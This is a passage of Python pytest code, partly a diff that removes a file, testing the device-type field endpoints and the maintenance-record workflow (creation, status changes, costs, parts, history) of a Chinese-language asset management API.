f"/api/v1/device-types/{test_device_type.id}/fields",
headers=admin_headers,
json={
"field_code": "price",
"field_name": "价格",
"field_type": "number",
"is_required": False,
"validation_rules": {
"min": 0,
"max": 1000000
},
"sort_order": 10
}
)
assert response.status_code == 200
data = response.json()
assert data["data"]["field_type"] == "number"
assert "validation_rules" in data["data"]
@pytest.mark.asyncio
async def test_get_device_type_fields(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type_with_fields: DeviceType
):
"""测试获取设备类型的字段列表"""
response = await client.get(
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields",
headers=admin_headers
)
assert response.status_code == 200
data = response.json()
assert data["code"] == 200
assert len(data["data"]) >= 3 # 至少3个字段
@pytest.mark.asyncio
async def test_update_field_success(
self,
client: AsyncClient,
admin_headers: dict,
db_session,
test_device_type_with_fields: DeviceType
):
"""测试更新字段成功"""
# 获取第一个字段
fields_response = await client.get(
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields",
headers=admin_headers
)
field_id = fields_response.json()["data"][0]["id"]
response = await client.put(
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields/{field_id}",
headers=admin_headers,
json={
"field_name": "更新后的字段名",
"is_required": False
}
)
assert response.status_code == 200
@pytest.mark.asyncio
async def test_delete_field_success(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type_with_fields: DeviceType
):
"""测试删除字段成功"""
fields_response = await client.get(
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields",
headers=admin_headers
)
field_id = fields_response.json()["data"][0]["id"]
response = await client.delete(
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields/{field_id}",
headers=admin_headers
)
assert response.status_code == 200
@pytest.mark.asyncio
async def test_add_duplicate_field_code(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type_with_fields: DeviceType,
sample_field_data: dict
):
"""测试添加重复的字段代码"""
# 第一次添加
await client.post(
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields",
headers=admin_headers,
json=sample_field_data
)
# 第二次添加相同代码
response = await client.post(
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields",
headers=admin_headers,
json=sample_field_data
)
assert response.status_code in [400, 409]
@pytest.mark.asyncio
async def test_fields_sorted_by_order(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type_with_fields: DeviceType
):
"""测试字段按sort_order排序"""
response = await client.get(
f"/api/v1/device-types/{test_device_type_with_fields.id}/fields",
headers=admin_headers
)
assert response.status_code == 200
data = response.json()
fields = data["data"]
# 验证排序
for i in range(len(fields) - 1):
assert fields[i]["sort_order"] <= fields[i + 1]["sort_order"]
# ==================== 字段验证测试 ====================
class TestFieldValidation:
"""测试字段验证"""
@pytest.mark.asyncio
@pytest.mark.parametrize("field_code,field_name,expected_status", [
("", "字段名", 422), # 空字段代码
("a" * 51, "字段名", 422), # 字段代码过长
("valid_code", "", 422), # 空字段名称
("valid_code", "a" * 101, 422), # 字段名称过长
])
async def test_field_name_validation(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType,
field_code: str,
field_name: str,
expected_status: int
):
"""测试字段名称验证"""
response = await client.post(
f"/api/v1/device-types/{test_device_type.id}/fields",
headers=admin_headers,
json={
"field_code": field_code,
"field_name": field_name,
"field_type": "text",
"sort_order": 1
}
)
assert response.status_code == expected_status
@pytest.mark.asyncio
@pytest.mark.parametrize("field_type", [
"text", "textarea", "number", "date", "select",
"multiselect", "boolean", "email", "phone", "url"
])
async def test_valid_field_types(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType,
field_type: str
):
"""测试有效的字段类型"""
response = await client.post(
f"/api/v1/device-types/{test_device_type.id}/fields",
headers=admin_headers,
json={
"field_code": f"test_{field_type}",
"field_name": f"测试{field_type}",
"field_type": field_type,
"sort_order": 1
}
)
assert response.status_code == 200
@pytest.mark.asyncio
async def test_invalid_field_type(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType
):
"""测试无效的字段类型"""
response = await client.post(
f"/api/v1/device-types/{test_device_type.id}/fields",
headers=admin_headers,
json={
"field_code": "test",
"field_name": "测试",
"field_type": "invalid_type",
"sort_order": 1
}
)
assert response.status_code in [400, 422]
@pytest.mark.asyncio
async def test_select_field_without_options(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType
):
"""测试select类型字段缺少options"""
response = await client.post(
f"/api/v1/device-types/{test_device_type.id}/fields",
headers=admin_headers,
json={
"field_code": "test_select",
"field_name": "测试选择",
"field_type": "select",
"sort_order": 1
}
)
# select类型应该有options
assert response.status_code in [400, 422]
@pytest.mark.asyncio
async def test_validation_rules_json_format(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType
):
"""测试验证规则的JSON格式"""
response = await client.post(
f"/api/v1/device-types/{test_device_type.id}/fields",
headers=admin_headers,
json={
"field_code": "test_validation",
"field_name": "测试验证",
"field_type": "text",
"validation_rules": {
"min_length": 1,
"max_length": 100,
"pattern": "^[A-Za-z0-9]+$"
},
"sort_order": 1
}
)
assert response.status_code == 200
data = response.json()
assert "validation_rules" in data["data"]
@pytest.mark.asyncio
async def test_placeholder_and_help_text(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType
):
"""测试placeholder和help_text"""
response = await client.post(
f"/api/v1/device-types/{test_device_type.id}/fields",
headers=admin_headers,
json={
"field_code": "test_help",
"field_name": "测试帮助",
"field_type": "text",
"placeholder": "请输入...",
"help_text": "这是帮助文本",
"sort_order": 1
}
)
assert response.status_code == 200
data = response.json()
assert data["data"]["placeholder"] == "请输入..."
assert data["data"]["help_text"] == "这是帮助文本"
# ==================== 参数验证测试 ====================
class TestDeviceTypeParameterValidation:
"""测试设备类型参数验证"""
@pytest.mark.asyncio
@pytest.mark.parametrize("type_code,expected_status", [
("", 422), # 空代码
("AB", 422), # 太短
("a" * 51, 422), # 太长
("VALID_CODE", 200), # 有效
])
async def test_type_code_validation(
self,
client: AsyncClient,
admin_headers: dict,
type_code: str,
expected_status: int
):
"""测试类型代码验证"""
response = await client.post(
"/api/v1/device-types",
headers=admin_headers,
json={
"type_code": type_code,
"type_name": "测试类型",
"category": "IT设备"
}
)
assert response.status_code == expected_status
@pytest.mark.asyncio
@pytest.mark.parametrize("type_name,expected_status", [
("", 422), # 空名称
("a" * 201, 422), # 太长
("有效名称", 200), # 有效
])
async def test_type_name_validation(
self,
client: AsyncClient,
admin_headers: dict,
type_name: str,
expected_status: int
):
"""测试类型名称验证"""
response = await client.post(
"/api/v1/device-types",
headers=admin_headers,
json={
"type_code": "TEST_CODE",
"type_name": type_name
}
)
assert response.status_code == expected_status
@pytest.mark.asyncio
async def test_sort_order_validation(
self,
client: AsyncClient,
admin_headers: dict
):
"""测试排序验证"""
response = await client.post(
"/api/v1/device-types",
headers=admin_headers,
json={
"type_code": "TEST_SORT",
"type_name": "测试排序",
"sort_order": -1 # 负数
}
)
# 排序可以是负数,或者应该返回422
# assert response.status_code in [200, 422]
@pytest.mark.asyncio
@pytest.mark.parametrize("status", [
"active", "inactive", "invalid_status"
])
async def test_status_validation(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType,
status: str
):
"""测试状态验证"""
response = await client.put(
f"/api/v1/device-types/{test_device_type.id}",
headers=admin_headers,
json={"status": status}
)
# 有效状态应该是200,无效状态应该是422
if status in ["active", "inactive"]:
assert response.status_code == 200
else:
assert response.status_code in [400, 422]
# ==================== 异常处理测试 ====================
class TestDeviceTypeExceptionHandling:
"""测试异常处理"""
@pytest.mark.asyncio
async def test_concurrent_device_type_creation(
self,
client: AsyncClient,
admin_headers: dict
):
"""测试并发创建相同代码的设备类型"""
import asyncio
data = {
"type_code": "CONCURRENT_TEST",
"type_name": "并发测试"
}
# 并发创建
tasks = [
client.post("/api/v1/device-types", headers=admin_headers, json=data)
for _ in range(2)
]
responses = await asyncio.gather(*tasks)
# 应该只有一个成功,另一个失败
success_count = sum(1 for r in responses if r.status_code == 200)
assert success_count == 1
@pytest.mark.asyncio
async def test_update_non_existent_field(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType
):
"""测试更新不存在的字段"""
response = await client.put(
f"/api/v1/device-types/{test_device_type.id}/fields/999999",
headers=admin_headers,
json={"field_name": "更新"}
)
assert response.status_code == 404
@pytest.mark.asyncio
async def test_delete_non_existent_device_type(
self,
client: AsyncClient,
admin_headers: dict
):
"""测试删除不存在的设备类型"""
response = await client.delete(
"/api/v1/device-types/999999",
headers=admin_headers
)
assert response.status_code == 404
@pytest.mark.asyncio
async def test_field_with_invalid_json_validation(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType
):
"""测试字段包含无效的JSON验证规则"""
response = await client.post(
f"/api/v1/device-types/{test_device_type.id}/fields",
headers=admin_headers,
json={
"field_code": "test",
"field_name": "测试",
"field_type": "text",
"validation_rules": "invalid json string", # 应该是对象
"sort_order": 1
}
)
# 应该返回验证错误
assert response.status_code in [400, 422]
@pytest.mark.asyncio
async def test_field_with_invalid_options_format(
self,
client: AsyncClient,
admin_headers: dict,
test_device_type: DeviceType
):
"""测试select字段包含无效的options格式"""
response = await client.post(
f"/api/v1/device-types/{test_device_type.id}/fields",
headers=admin_headers,
json={
"field_code": "test",
"field_name": "测试",
"field_type": "select",
"options": "invalid options", # 应该是数组
"sort_order": 1
}
)
assert response.status_code in [400, 422]

View File

@@ -1,891 +0,0 @@
"""
维修管理 API 测试
测试范围:
- 维修记录CRUD测试 (20+用例)
- 维修状态管理测试 (15+用例)
- 维修费用测试 (10+用例)
- 维修历史测试 (5+用例)
总计: 50+ 用例
"""
import pytest
from datetime import datetime, timedelta
from typing import List
from decimal import Decimal
from sqlalchemy.orm import Session
from app.models.maintenance import Maintenance, MaintenancePart
from app.models.asset import Asset
from app.schemas.maintenance import (
MaintenanceCreate,
MaintenanceStatus,
MaintenanceType,
MaintenancePriority
)
# ================================
# Fixtures
# ================================
@pytest.fixture
def test_assets_for_maintenance(db: Session) -> List[Asset]:
"""创建需要维修的测试资产"""
assets = []
for i in range(3):
asset = Asset(
asset_code=f"TEST-MAINT-{i+1:03d}",
asset_name=f"测试维修资产{i+1}",
device_type_id=1,
organization_id=1,
status="maintenance",
purchase_date=datetime.now() - timedelta(days=365)
)
db.add(asset)
assets.append(asset)
db.commit()
for asset in assets:
db.refresh(asset)
return assets
@pytest.fixture
def test_maintenance_record(db: Session, test_assets_for_maintenance: List[Asset]) -> Maintenance:
"""创建测试维修记录"""
maintenance = Maintenance(
maintenance_no="MAINT-2025-001",
asset_id=test_assets_for_maintenance[0].id,
maintenance_type=MaintenanceType.PREVENTIVE,
priority=MaintenancePriority.MEDIUM,
status=MaintenanceStatus.PENDING,
fault_description="设备异常噪音",
reported_by=1,
reported_time=datetime.now(),
estimated_cost=Decimal("500.00"),
estimated_start_time=datetime.now() + timedelta(days=1),
estimated_completion_time=datetime.now() + timedelta(days=3)
)
db.add(maintenance)
db.commit()
db.refresh(maintenance)
return maintenance
@pytest.fixture
def test_maintenance_with_parts(db: Session, test_assets_for_maintenance: List[Asset]) -> Maintenance:
"""创建包含配件的维修记录"""
maintenance = Maintenance(
maintenance_no="MAINT-2025-002",
asset_id=test_assets_for_maintenance[1].id,
maintenance_type=MaintenanceType.CORRECTIVE,
priority=MaintenancePriority.HIGH,
status=MaintenanceStatus.IN_PROGRESS,
fault_description="设备故障无法启动",
reported_by=1,
reported_time=datetime.now(),
actual_start_time=datetime.now(),
estimated_cost=Decimal("1500.00")
)
db.add(maintenance)
db.commit()
db.refresh(maintenance)
# 添加维修配件
parts = [
MaintenancePart(
maintenance_id=maintenance.id,
part_name="电机",
part_code="PART-001",
quantity=1,
unit_price=Decimal("800.00")
),
MaintenancePart(
maintenance_id=maintenance.id,
part_name="轴承",
part_code="PART-002",
quantity=2,
unit_price=Decimal("100.00")
)
]
for part in parts:
db.add(part)
db.commit()
return maintenance
# ================================
# 维修记录CRUD测试 (20+用例)
# ================================
class TestMaintenanceCRUD:
"""维修记录CRUD操作测试"""
def test_create_maintenance_with_valid_data(self, client, auth_headers, test_assets_for_maintenance):
"""测试使用有效数据创建维修记录"""
asset = test_assets_for_maintenance[0]
response = client.post(
"/api/v1/maintenance/",
json={
"asset_id": asset.id,
"maintenance_type": "corrective",
"priority": "high",
"fault_description": "设备故障需要维修",
"reported_by": 1,
"estimated_cost": 1000.00,
"estimated_start_time": (datetime.now() + timedelta(hours=2)).isoformat(),
"estimated_completion_time": (datetime.now() + timedelta(days=2)).isoformat()
},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["maintenance_no"] is not None
assert data["status"] == MaintenanceStatus.PENDING
assert data["asset_id"] == asset.id
def test_create_maintenance_with_invalid_asset_id(self, client, auth_headers):
"""测试使用无效资产ID创建维修记录应失败"""
response = client.post(
"/api/v1/maintenance/",
json={
"asset_id": 999999,
"maintenance_type": "corrective",
"priority": "medium",
"fault_description": "测试",
"reported_by": 1
},
headers=auth_headers
)
assert response.status_code == 404
assert "资产不存在" in response.json()["detail"]
def test_create_maintenance_without_fault_description(self, client, auth_headers, test_assets_for_maintenance):
"""测试创建维修记录时未提供故障描述应失败"""
asset = test_assets_for_maintenance[0]
response = client.post(
"/api/v1/maintenance/",
json={
"asset_id": asset.id,
"maintenance_type": "corrective",
"priority": "medium",
"reported_by": 1
},
headers=auth_headers
)
assert response.status_code == 400
assert "故障描述" in response.json()["detail"]
def test_create_maintenance_with_negative_cost(self, client, auth_headers, test_assets_for_maintenance):
"""测试创建负费用的维修记录应失败"""
asset = test_assets_for_maintenance[0]
response = client.post(
"/api/v1/maintenance/",
json={
"asset_id": asset.id,
"maintenance_type": "corrective",
"priority": "medium",
"fault_description": "测试",
"reported_by": 1,
"estimated_cost": -100.00
},
headers=auth_headers
)
assert response.status_code == 400
def test_create_maintenance_auto_updates_asset_status(self, client, auth_headers, db: Session, test_assets_for_maintenance):
"""测试创建维修记录时自动更新资产状态"""
asset = test_assets_for_maintenance[0]
original_status = asset.status
response = client.post(
"/api/v1/maintenance/",
json={
"asset_id": asset.id,
"maintenance_type": "corrective",
"priority": "medium",
"fault_description": "测试自动更新状态",
"reported_by": 1
},
headers=auth_headers
)
assert response.status_code == 200
# 验证资产状态已更新
db.refresh(asset)
assert asset.status == "maintenance"
def test_get_maintenance_list_with_pagination(self, client, auth_headers, test_maintenance_record):
"""测试分页获取维修记录列表"""
response = client.get(
"/api/v1/maintenance/?page=1&page_size=10",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "items" in data
assert "total" in data
assert len(data["items"]) >= 1
def test_get_maintenance_list_with_status_filter(self, client, auth_headers, test_maintenance_record):
"""测试按状态筛选维修记录"""
response = client.get(
f"/api/v1/maintenance/?status={MaintenanceStatus.PENDING}",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
for item in data["items"]:
assert item["status"] == MaintenanceStatus.PENDING
def test_get_maintenance_list_with_asset_filter(self, client, auth_headers, test_maintenance_record):
"""测试按资产筛选维修记录"""
response = client.get(
f"/api/v1/maintenance/?asset_id={test_maintenance_record.asset_id}",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert len(data["items"]) >= 1
def test_get_maintenance_list_with_type_filter(self, client, auth_headers, test_maintenance_record):
"""测试按维修类型筛选"""
response = client.get(
f"/api/v1/maintenance/?maintenance_type={test_maintenance_record.maintenance_type}",
headers=auth_headers
)
assert response.status_code == 200
def test_get_maintenance_list_with_priority_filter(self, client, auth_headers, test_maintenance_record):
"""测试按优先级筛选"""
response = client.get(
f"/api/v1/maintenance/?priority={test_maintenance_record.priority}",
headers=auth_headers
)
assert response.status_code == 200
def test_get_maintenance_list_with_date_range(self, client, auth_headers, test_maintenance_record):
"""测试按日期范围筛选"""
start_date = (datetime.now() - timedelta(days=1)).strftime("%Y-%m-%d")
end_date = (datetime.now() + timedelta(days=1)).strftime("%Y-%m-%d")
response = client.get(
f"/api/v1/maintenance/?start_date={start_date}&end_date={end_date}",
headers=auth_headers
)
assert response.status_code == 200
def test_get_maintenance_by_id(self, client, auth_headers, test_maintenance_record):
"""测试通过ID获取维修记录详情"""
response = client.get(
f"/api/v1/maintenance/{test_maintenance_record.id}",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["id"] == test_maintenance_record.id
assert data["maintenance_no"] == test_maintenance_record.maintenance_no
assert "asset" in data
def test_get_maintenance_by_invalid_id(self, client, auth_headers):
"""测试通过无效ID获取维修记录应返回404"""
response = client.get(
"/api/v1/maintenance/999999",
headers=auth_headers
)
assert response.status_code == 404
def test_update_maintenance_fault_description(self, client, auth_headers, test_maintenance_record):
"""测试更新故障描述"""
response = client.put(
f"/api/v1/maintenance/{test_maintenance_record.id}",
json={"fault_description": "更新后的故障描述"},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["fault_description"] == "更新后的故障描述"
def test_update_maintenance_priority(self, client, auth_headers, test_maintenance_record):
"""测试更新优先级"""
response = client.put(
f"/api/v1/maintenance/{test_maintenance_record.id}",
json={"priority": "urgent"},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["priority"] == MaintenancePriority.URGENT
def test_update_maintenance_after_start_should_fail(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试维修开始后更新某些字段应失败"""
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
db.commit()
response = client.put(
f"/api/v1/maintenance/{test_maintenance_record.id}",
json={"maintenance_type": "preventive"},
headers=auth_headers
)
assert response.status_code == 400
assert "不允许修改" in response.json()["detail"]
def test_delete_pending_maintenance(self, client, auth_headers, db: Session, test_assets_for_maintenance):
"""测试删除待处理的维修记录"""
maintenance = Maintenance(
maintenance_no="MAINT-DEL-001",
asset_id=test_assets_for_maintenance[0].id,
maintenance_type=MaintenanceType.CORRECTIVE,
priority=MaintenancePriority.MEDIUM,
status=MaintenanceStatus.PENDING,
fault_description="待删除",
reported_by=1
)
db.add(maintenance)
db.commit()
db.refresh(maintenance)
response = client.delete(
f"/api/v1/maintenance/{maintenance.id}",
headers=auth_headers
)
assert response.status_code == 200
def test_delete_in_progress_maintenance_should_fail(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试删除进行中的维修记录应失败"""
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
db.commit()
response = client.delete(
f"/api/v1/maintenance/{test_maintenance_record.id}",
headers=auth_headers
)
assert response.status_code == 400
assert "不允许删除" in response.json()["detail"]
def test_create_maintenance_with_parts(self, client, auth_headers, test_assets_for_maintenance):
"""测试创建包含配件的维修记录"""
asset = test_assets_for_maintenance[0]
response = client.post(
"/api/v1/maintenance/",
json={
"asset_id": asset.id,
"maintenance_type": "corrective",
"priority": "high",
"fault_description": "需要更换配件",
"reported_by": 1,
"parts": [
{
"part_name": "电机",
"part_code": "PART-001",
"quantity": 1,
"unit_price": 800.00
},
{
"part_name": "轴承",
"part_code": "PART-002",
"quantity": 2,
"unit_price": 100.00
}
]
},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "parts" in data
assert len(data["parts"]) == 2
# ================================
# 维修状态管理测试 (15+用例)
# ================================
class TestMaintenanceStatusManagement:
"""维修状态管理测试"""
def test_start_maintenance(self, client, auth_headers, test_maintenance_record):
"""测试开始维修"""
response = client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/start",
json={"start_note": "开始维修", "technician_id": 2},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["status"] == MaintenanceStatus.IN_PROGRESS
assert data["actual_start_time"] is not None
def test_start_maintenance_updates_asset_status(self, client, auth_headers, test_maintenance_record, db: Session):
"""测试开始维修时更新资产状态"""
client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/start",
json={"start_note": "开始维修"},
headers=auth_headers
)
asset = db.query(Asset).filter(Asset.id == test_maintenance_record.asset_id).first()
assert asset.status == "maintenance"
def test_pause_maintenance(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试暂停维修"""
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
db.commit()
response = client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/pause",
json={"pause_reason": "等待配件"},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["status"] == MaintenanceStatus.PAUSED
def test_resume_maintenance(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试恢复维修"""
test_maintenance_record.status = MaintenanceStatus.PAUSED
db.commit()
response = client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/resume",
json={"resume_note": "配件已到,继续维修"},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["status"] == MaintenanceStatus.IN_PROGRESS
def test_complete_maintenance(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试完成维修"""
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
db.commit()
response = client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/complete",
json={
"completion_note": "维修完成",
"actual_cost": 1200.00,
"technician_id": 2
},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["status"] == MaintenanceStatus.COMPLETED
assert data["actual_completion_time"] is not None
assert data["actual_cost"] == 1200.00
def test_complete_maintenance_updates_asset_status(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试完成维修后恢复资产状态"""
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
db.commit()
client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/complete",
json={"completion_note": "完成", "actual_cost": 1000.00},
headers=auth_headers
)
asset = db.query(Asset).filter(Asset.id == test_maintenance_record.asset_id).first()
assert asset.status == "in_stock"
def test_cancel_maintenance(self, client, auth_headers, test_maintenance_record):
"""测试取消维修"""
response = client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/cancel",
json={"cancellation_reason": "资产报废"},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["status"] == MaintenanceStatus.CANCELLED
def test_cancel_maintenance_updates_asset_status(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试取消维修后恢复资产状态"""
client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/cancel",
json={"cancellation_reason": "取消维修"},
headers=auth_headers
)
asset = db.query(Asset).filter(Asset.id == test_maintenance_record.asset_id).first()
assert asset.status == "in_stock"
def test_assign_technician(self, client, auth_headers, test_maintenance_record):
"""测试分配维修人员"""
response = client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/assign-technician",
json={"technician_id": 2, "assignment_note": "指派张工负责"},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["technician_id"] == 2
def test_add_maintenance_progress_note(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试添加维修进度备注"""
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
db.commit()
response = client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/progress-notes",
json={"note": "已更换故障配件", "progress_percentage": 50},
headers=auth_headers
)
assert response.status_code == 200
def test_get_maintenance_progress_notes(self, client, auth_headers, test_maintenance_record):
"""测试获取维修进度备注"""
response = client.get(
f"/api/v1/maintenance/{test_maintenance_record.id}/progress-notes",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_update_maintenance_progress(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试更新维修进度"""
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
db.commit()
response = client.put(
f"/api/v1/maintenance/{test_maintenance_record.id}/progress",
json={"progress_percentage": 75},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["progress_percentage"] == 75
def test_invalid_status_transition(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试无效的状态转换"""
test_maintenance_record.status = MaintenanceStatus.COMPLETED
db.commit()
response = client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/start",
json={"start_note": "尝试重新开始"},
headers=auth_headers
)
assert response.status_code == 400
def test_get_maintenance_status_history(self, client, auth_headers, test_maintenance_record):
"""测试获取状态变更历史"""
response = client.get(
f"/api/v1/maintenance/{test_maintenance_record.id}/status-history",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
def test_auto_calculate_duration(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试自动计算维修时长"""
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
test_maintenance_record.actual_start_time = datetime.now() - timedelta(days=2)
db.commit()
client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/complete",
json={"completion_note": "完成", "actual_cost": 1000.00},
headers=auth_headers
)
db.refresh(test_maintenance_record)
assert test_maintenance_record.duration_hours is not None
# ================================
# 维修费用测试 (10+用例)
# ================================
class TestMaintenanceCost:
"""维修费用测试"""
def test_record_initial_cost_estimate(self, client, auth_headers, test_assets_for_maintenance):
"""测试记录初始费用估算"""
asset = test_assets_for_maintenance[0]
response = client.post(
"/api/v1/maintenance/",
json={
"asset_id": asset.id,
"maintenance_type": "corrective",
"priority": "medium",
"fault_description": "测试费用估算",
"reported_by": 1,
"estimated_cost": 2000.00
},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["estimated_cost"] == 2000.00
def test_update_cost_estimate(self, client, auth_headers, test_maintenance_record):
"""测试更新费用估算"""
response = client.put(
f"/api/v1/maintenance/{test_maintenance_record.id}",
json={"estimated_cost": 800.00},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["estimated_cost"] == 800.00
def test_record_actual_cost(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试记录实际费用"""
test_maintenance_record.status = MaintenanceStatus.IN_PROGRESS
db.commit()
response = client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/record-cost",
json={"actual_cost": 1500.00, "cost_breakdown": {"parts": 1000.00, "labor": 500.00}},
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["actual_cost"] == 1500.00
def test_calculate_total_parts_cost(self, client, auth_headers, test_maintenance_with_parts):
"""测试计算配件总费用"""
response = client.get(
f"/api/v1/maintenance/{test_maintenance_with_parts.id}/parts-cost",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert data["total_parts_cost"] == 1000.00 # 800 + 100*2
def test_add_maintenance_part(self, client, auth_headers, test_maintenance_record):
"""测试添加维修配件"""
response = client.post(
f"/api/v1/maintenance/{test_maintenance_record.id}/parts",
json={
"part_name": "传感器",
"part_code": "PART-003",
"quantity": 1,
"unit_price": 300.00
},
headers=auth_headers
)
assert response.status_code == 200
def test_update_maintenance_part(self, client, auth_headers, test_maintenance_with_parts):
"""测试更新维修配件"""
part = test_maintenance_with_parts.parts[0]
response = client.put(
f"/api/v1/maintenance/{test_maintenance_with_parts.id}/parts/{part.id}",
json={"quantity": 2, "unit_price": 750.00},
headers=auth_headers
)
assert response.status_code == 200
def test_delete_maintenance_part(self, client, auth_headers, test_maintenance_with_parts):
"""测试删除维修配件"""
part = test_maintenance_with_parts.parts[0]
response = client.delete(
f"/api/v1/maintenance/{test_maintenance_with_parts.id}/parts/{part.id}",
headers=auth_headers
)
assert response.status_code == 200
def test_get_maintenance_parts_list(self, client, auth_headers, test_maintenance_with_parts):
"""测试获取维修配件列表"""
response = client.get(
f"/api/v1/maintenance/{test_maintenance_with_parts.id}/parts",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert len(data) == 2
def test_cost_variance_analysis(self, client, auth_headers, db: Session, test_maintenance_record):
"""测试费用差异分析"""
test_maintenance_record.estimated_cost = Decimal("1000.00")
test_maintenance_record.actual_cost = Decimal("1200.00")
db.commit()
response = client.get(
f"/api/v1/maintenance/{test_maintenance_record.id}/cost-analysis",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "variance" in data
assert "variance_percentage" in data
def test_get_cost_statistics_by_asset(self, client, auth_headers, test_assets_for_maintenance):
"""测试获取资产维修费用统计"""
asset = test_assets_for_maintenance[0]
response = client.get(
f"/api/v1/maintenance/asset/{asset.id}/cost-statistics",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "total_cost" in data
assert "maintenance_count" in data
# ================================
# 维修历史测试 (5+用例)
# ================================
class TestMaintenanceHistory:
"""维修历史测试"""
def test_get_asset_maintenance_history(self, client, auth_headers, test_maintenance_record):
"""测试获取资产维修历史"""
response = client.get(
f"/api/v1/maintenance/asset/{test_maintenance_record.asset_id}/history",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert isinstance(data, list)
assert len(data) >= 1
def test_get_maintenance_history_with_date_range(self, client, auth_headers, test_maintenance_record):
"""测试按日期范围获取维修历史"""
start_date = (datetime.now() - timedelta(days=1)).strftime("%Y-%m-%d")
end_date = (datetime.now() + timedelta(days=1)).strftime("%Y-%m-%d")
response = client.get(
f"/api/v1/maintenance/asset/{test_maintenance_record.asset_id}/history?start_date={start_date}&end_date={end_date}",
headers=auth_headers
)
assert response.status_code == 200
def test_get_maintenance_frequency_analysis(self, client, auth_headers, test_assets_for_maintenance):
"""测试获取维修频率分析"""
asset = test_assets_for_maintenance[0]
response = client.get(
f"/api/v1/maintenance/asset/{asset.id}/frequency-analysis",
headers=auth_headers
)
assert response.status_code == 200
data = response.json()
assert "total_maintenance_count" in data
assert "average_days_between_maintenance" in data
def test_export_maintenance_history(self, client, auth_headers, test_maintenance_record):
"""测试导出维修历史"""
response = client.get(
f"/api/v1/maintenance/asset/{test_maintenance_record.asset_id}/export",
headers=auth_headers
)
assert response.status_code == 200
assert "export_url" in response.json()
def test_get_maintenance_summary_report(self, client, auth_headers):
"""测试获取维修汇总报告"""
response = client.get(
"/api/v1/maintenance/summary-report",
headers=auth_headers,
params={"start_date": "2025-01-01", "end_date": "2025-12-31"}
)
assert response.status_code == 200
data = response.json()
assert "total_maintenance_count" in data
assert "total_cost" in data
assert "by_type" in data
# ================================
# 测试标记
# ================================
@pytest.mark.unit
